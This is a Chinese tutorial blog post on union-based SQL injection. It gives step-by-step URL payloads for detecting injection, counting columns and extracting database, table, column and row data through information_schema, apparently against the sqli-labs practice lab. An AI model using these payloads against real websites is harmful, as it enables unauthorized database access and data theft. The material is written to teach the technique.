union注入
union注入
更多内容请看此链接:https://blog.csdn.net/weixin_45380284
1.判断是否存在注入:
方法一:
单引号法——在url最后加一个单引号,如:
http://www.123456.com/web/union.php?id=1'
页面不正常,浏览器返回异常信息说明该链接会存在注入漏洞。
方法二:
1=1和1=2法,如:
http://www.123456.com/web/union.php?id=1 and 1=1
URL:http://www.123456.com/web/union.php?id=1 and 1=2
如果返回不同的页面,那么说明存在SQL注入漏洞。
2.使用order by 1-99 来查询该数据表字段数
方法;
Id=1 order by 1-99 来判断字段数,例如:
http://www.tianchi.com/web/union.php?id=1 order by 3
发现当id=1 order by 3时,页面返回与id=1相同的结果;而id=1 order by 4时不一样,故字段数量是3。
3.查询sql语句插入位置:
http://www.tianchi.com/web/union.php? id=-1 union select 1,2,3
通过浏览器返回的值判断;如果返回2:3则说明2、3位置可以插入sql语句
4.获取数据库名:
1.获取当前数据库库名:
将id=-1 union select 1,2,3中2的位置改为database() 如:
http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3
2.获取所有数据库库名
http://www.tianchi.com/web/union.php?id=-1 union select
1,group_concat(char(32,58,32),schema_name),3 from information_schema.schemata
3.逐条获取数据库库名
语句:select schema_name from information_schema.schemata limit 0,1;
http://www.tianchi.com/web/union.php?id=-1 union select 1,(select schema_name from information_schema.schemata limit 0,1),3
修改limit中第一个数字,如获取第二个库名:limit 1,1。
数据库库名:
information_schema,challenges,dedecmsv57utf8sp2,dvwa,mysql,performance_schema,security,test,xssplatform
5.获取数据库表名:
(1)方法一:
获取数据库表名,这种方式一次获取一个表名,2位置修改为:
select table_name from information_schema.tables where table_schema='security' limit 0,1;
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3
修改limit中第一个数字,如获取第二个表名:limit 1,1,这样就可以获取所有的表名。
表名是:emails,referers,uagents,users。
(2)方法二:
一次性获取当前数据库所有表名:
http://www.tianchi.com/web/union.php?id=-1 union select
1,group_concat(char(32,58,32),table_name),3 from information_schema.tables where table_schema='security'
6.取字段名
(1)方法一:
获取字段名,以emails表为例,2位置修改为:
select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1;
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),3
修改limit中第一个数字,如获取第二个字段名:limit 1,1
字段名:id,email_id。
(2)方法二:
以emails表为例,一次性获取所有字段名:
URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),column_name),3 from information_schema.columns where table_schema='security' and table_name='emails'
7.获取数据
(1)方法一:
获取数据,以emails表为例,2,3位置分别修改为:
(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)
获取emails表第一,第二条数据:
1 : Dumb@dhakkan.com
2 : Angel@iloveu.com
URL:http://www.tianchi.com/web/union.php?id=-1 union select
1,(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)
(2)方法二:
以emails表为例,一次性获取所有数据:
URL:http://www.tianchi.com/web/union.php?id=-1 union select
1,group_concat(char(32,58,32),id,email_id),3 from security.emails
8. union注入PHP代码
union注入的更多相关文章
- oracle union 注入工具
'***********************************************************************************************'ora ...
- [php审计实战篇]BlueCms v1.6 Union注入
非常基础的代码审计练习,适合有php基础的审计新手练习 本文作者:Aedoo 来源:i春秋社区 0×01 代码跟踪 首先,进入首页代码 :index.php 包含了php文件:/include/com ...
- SQL注入之Union注入攻击
union联合查询算是最简单的一种注入了,但是却是经常遇到. 什么是UNION注入 UNION操作符用于合并两个或多个SELECT语句的结果集,而且UNION内部的SELECT语句必须拥有相同数量的列 ...
- sqli-labs less11-12(post型union注入)
less-11 post型union注入 过程: 输入admin admin 判断username password的闭合方式 对username查字段个数 ' union select 1,2# ' ...
- i春秋-Phone number(union注入+hex转码)
记一道union注入语句转十六进制的注入题. 这个网站的基本功能就是可以找出跟你用户名相同的注册的人数. 注册登录给了两个显位. 点击check可以显示出有多少人和你用户名相同. 同时在这个页面的源代 ...
- Mysql下Union注入Bypass安全狗过程
文章转载于:http://www.0aa.me/index.php/archives/95/ 一次众测发现个注入,然后有安全狗就顺带看了下安全狗. 先fuzz看看安全狗拦截什么关键词union sel ...
- union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单
这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...
- sql注入之union注入
联合查询注入利用的前提: 必须要有回显 联合查询过程: 判断是否存在注入点 判断是什么类型注入(字符型or数字型) 判断闭合方式 查询列数个数(order by) 5, 获得数据库名 获得表名 获得字 ...
- sqli-labs less1-4(union注入)
less-1 考点:Single quotes 输入: 判断类型 ?id=1 返回loginname和password.输入的id就是与后台数据库连接的接口通过id=? 查询数据库信息 ?id=1' ...
随机推荐
- el-checkbox实现全选与单选
实现目的:实现全选与多选,点击确定的时候获取每个值的id传给后台 1.HTML <el-checkbox v-model="checkAll" @change="h ...
- vue 生成二维码+截图
链接生成二维码 1.npm安装 npm install --save qrcodejs2 2.引入 import QRCode from 'qrcodejs2' 3.生成二维码 new QRCode( ...
- Redis->主从复制->哨兵模式(高可用)
一:安装redis $ yum -y install gcc $ yum -y install gcc-c++ $ wget http://download.redis.io/releases/red ...
- Swagger之外的选择
今天给大家安利一款接口文档生成器--JApiDocs. swagger想必大家都用过吧,非常方便,功能也十分强大.如果要说swaager有什么缺点,想必就是注解写起来比较麻烦.如果我说有一款不用写注解 ...
- SpringCloud教程第6篇:config(F版本)
一.简介 在分布式系统中,由于服务数量巨多,为了方便服务配置文件统一管理,实时更新,所以需要分布式配置中心组件.在Spring Cloud中,有分布式配置中心组件spring cloud config ...
- redis基础二----操作List类型
1.lpush的使用方法 2.rpsuh的使用方法 3.删除元素 lrem中2值的是删除2个集合中的“b”元素 4. 通过上面的分析,redis中的list比较类型java的qunue队列
- java基础-循环标签
outer: for innter: for break outer//跳出整个循环: continue outer//结束本次外循环的循环 break inner; continute inner; ...
- Centos7 GRE Tunnel
一.关闭防火墙及selinux 二.CentOS7默认不加载gre内核模块,加载gre内核模块 # modprobe ip_gre 临时加载gre模块(重启后失效) # lsmod |grep g ...
- mysql无限级分类
第一种方案: 使用递归算法,也是使用频率最多的,大部分开源程序也是这么处理,不过一般都只用到四级分类. 这种算法的数据库结构设计最为简单.category表中一个字段id,一个字段fid(父id).这 ...
- SQL语句中where 1=1的意义
我们在看别人项目的时候,很多时候看到这样的SQL语句: select * from user where 1=1 其中这个where1=1是有特殊意义的,包含以下两种情境:动态SQL拼接和查询表结构. ...